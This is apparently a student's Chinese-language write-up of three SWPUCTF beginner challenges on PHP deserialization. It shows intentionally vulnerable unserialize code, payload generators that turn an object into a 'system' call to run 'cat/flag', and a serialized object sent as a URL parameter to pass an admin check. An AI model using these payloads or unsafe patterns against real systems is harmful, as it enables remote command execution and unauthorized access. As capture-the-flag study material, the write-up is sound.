目录
[SWPUCTF 2022 新生赛]1z_unserialize
[SWPUCTF 2022 新生赛]ez_ez_unserialize
[SWPUCTF 2021 新生赛]ez_unserialize
[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
RCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
rce简单来说就是远程命令执行漏洞。
system()就是调用(DOS)系统命令(和shell命令)
直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。
将$this->lly赋值成cat/flag就能查看flag文件
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat/flag";
}
$b = new lyh();
echo serialize($b);
?>
输出内容是这个
将nss反序列换,所以使nss等于这个,就可以查看flag
我的火狐好像有点小问题,但思路应该对的吧,,,
[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
我对这道题的理解是,最后将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。
别的文章写的是
这个真没看懂,为什么序列化成员数大于实际成员数就能绕过?我也没想到好的解题方法,
[SWPUCTF 2021 新生赛]ez_unserialize
打开页面源码,发现了这个
所以试着在URL后加robots.txt,然后打开了这个
看到有cl45.php文件,访问它 ,看到题目了
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
如果admin===admian并且passwd===ctf输出flag
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
$b=serialize($a);
echo $b;
?>
输出是这个:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
get传参,直接加URL后面就行